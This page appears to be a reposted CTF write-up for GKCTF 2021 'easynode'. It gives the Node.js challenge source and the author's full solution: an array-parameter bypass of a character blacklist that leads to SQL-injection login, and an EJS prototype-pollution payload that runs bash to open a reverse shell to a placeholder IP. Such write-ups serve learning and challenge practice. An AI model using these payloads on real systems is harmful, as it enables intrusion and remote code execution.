当前位置:网站首页>[GKCTF 2021]easynode
[GKCTF 2021]easynode
2022-07-25 09:27:00 【Strange Xiaosheng lost his mind】
The start is the login page 
The title also gives the source code, which depends on the source code index.js
const express = require('express');
const format = require('string-format');
const { select,close } = require('./tools');
const app = new express();
var extend = require("js-extend").extend
const ejs = require('ejs');
const {generateToken,verifyToken} = require('./encrypt');
var cookieParser = require('cookie-parser');
app.use(express.urlencoded({ extended: true }));
app.use(express.static((__dirname+'/public/')));
app.use(cookieParser());
// Filter username and password Dangerous characters in
let safeQuery = async (username,password)=>{
const waf = (str)=>{
// console.log(str);
blacklist = ['\\','\^',')','(','\"','\'']
blacklist.forEach(element => {
if (str == element){
str = "*";
}
});
return str;
}
// coordination waf The function replaces the dangerous characters in the blacklist with * But it is == Weak type comparison
//
//
// Operation here can make username Is an array , such str[i] Is a key value , Just bypass WAF
// Re pass WAF Pieced together because JS in , If two arrays are added The last array is converted to a string
// Pay attention here post Of username Array length must be long Otherwise, you can't log in
const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){
if (waf(str[i]) =="*"){
str = str.slice(0, i) + "*" + str.slice(i + 1, str.length);
}
}
return str;
}
username = safeStr(username);
password = safeStr(password);
let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));
// console.log(sql);
result = JSON.parse(JSON.stringify(await select(sql)));
return result;
}
app.get('/', async(req,res)=>{
const html = await ejs.renderFile(__dirname + "/public/index.html")
res.writeHead(200, {"Content-Type": "text/html"});
res.end(html)
})
app.post('/login',function(req,res,next){
let username = req.body.username;
let password = req.body.password;
safeQuery(username,password).then(
result =>{
if(result[0]){
const token = generateToken(username)
res.json({
"msg":"yes","token":token
});
}
else{
res.json(
{"msg":"username or password wrong"}
);
}
}
).then(close()).catch(err=>{res.json({"msg":"something wrong!"});});
})
app.get("/admin",async (req,res,next) => {
const token = req.cookies.token
let result = verifyToken(token);
if (result !='err'){
username = result
var sql = `select board from board where username = '${username}'`;
var query = JSON.parse(JSON.stringify(await select(sql).then(close())));
board = JSON.parse(query[0].board);
console.log(board);
const html = await ejs.renderFile(__dirname + "/public/admin.ejs",{board,username})
res.writeHead(200, {"Content-Type": "text/html"});
res.end(html)
}
else{
res.json({'msg':'stop!!!'});
}
});
app.post("/addAdmin",async (req,res,next) => {
let username = req.body.username;
let password = req.body.password;
const token = req.cookies.token
let result = verifyToken(token);
if (result !='err'){
gift = JSON.stringify({ [username]:{name:"Blue-Eyes White Dragon",ATK:"3000",DEF:"2500",URL:"https://ftp.bmp.ovh/imgs/2021/06/f66c705bd748e034.jpg"}});
var sql = format('INSERT INTO test (username, password) VALUES ("{}","{}") ',username,password);
select(sql).then(close()).catch( (err)=>{console.log(err)});
var sql = format('INSERT INTO board (username, board) VALUES (\'{}\',\'{}\') ',username,gift);
console.log(sql);
select(sql).then(close()).catch( (err)=>{console.log(err)});
res.end('add admin successful!')
}
else{
res.end('stop!!!');
}
});
app.post("/adminDIV",async(req,res,next) =>{
const token = req.cookies.token
var data = JSON.parse(req.body.data)
let result = verifyToken(token);
if(result !='err'){
username = result;
var sql ='select board from board';
var query = JSON.parse(JSON.stringify(await select(sql).then(close())));
board = JSON.parse(query[0].board);
console.log(board);
// Give Way {'__proto__':{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xx.xxx.xxx.xx/2333 0>&1\"');var __tmp2"}} Conduct extend operation
for(var key in data){
var addDIV = `{"${username}":{"${key}":"${data[key]}"}}`;
extend(board,JSON.parse(addDIV));
}
// Ideas : username be equal to __proto, Want this , You need to create users , Just go back to /addAdmin route , So we need to admin Of token,
// The general operation is login Use bypass to get token Go again addAdmin Create user Finally get __proto__ User token use token Go to adminDIV POST data Data pollution Then go again. admin Can rebound shell
sql = `update board SET board = '${JSON.stringify(board)}' where username = '${username}'`
select(sql).then(close()).catch( (err)=>{console.log(err)});
res.json({"msg":'addDiv successful!!!'});
}
else{
res.end('nonono');
}
});
app.listen(1337, () => {
console.log(`App listening at port 1337`)
}) The operation of code analysis is all in the comments in the code
obtain token Of WAF Weak comparison
username[]=admin'#&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=(&password=123456
POST rebound Shell Partial commands base64 Encoding avoids the interference of some control characters . Because of the POST Method does not send JSON
data={"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('echo%20 Write here base64 Victim statement after %3D%7Cbase64%20-d%7Cbash');var __tmp2"}The victim statement mentioned above Just use the following to turn base64
bash -c "bash -i >& /dev/tcp/xx.xxx.xxx.xx/2333 0>&1"
Work on this problem in two days Sorry, I'm fw
边栏推荐
猜你喜欢

数据预处理

ActiveMQ -- dead letter queue

分布式一致性协议之Raft

实现简单的RESTful API服务器

初始Flask以及简单地上手应用

MongoDB数据库文件的读与写

Unable to start debugging on the web server, the web server failed to find the requested resource

将list集合的某一字段拼接单个String

粗柳簸箕细柳斗,谁嫌爬虫男人丑 之 异步协程半秒扒光一本小说

Wechat applet obtains the data of ---- onenet and controls the on-board LED of STM32
随机推荐
通过robocopy对文件/夹进行复制
redis操作利用游标代替keys
Jspdf generates PDF files. There is a problem of incomplete files. Files are downloaded in the background, but not in the foreground
MySQL takes the query result as the data updated by update, and concatenates it after the original field data (Lej)
PHP网站设计思路
@2-1 CCF 2020-12-01 期末预测之安全指数
卷积神经网络的兴趣简单介绍
activemq--死信队列
Wechat applet obtains the data of ---- onenet and controls the on-board LED of STM32
Analysis of five data structure principles of redis
一文搞懂try、catch、finally(包含return)执行流程(全网最详细解析)
数据控制语言(DCL)
What are stand-alone, cluster and distributed?
Analysis of concat and group in MySQL_ Use of concat
ActiveMQ -- AMQ of persistent mechanism
@5-1 CCF 2019-12-1 报数
动态添加多tab,并初始化每个tab页面
无法再web服务器上启动调试,web服务器未能找到请求资源
¥1-2 例2.2 将两个集合的并集放到线性表中
SSM高级整合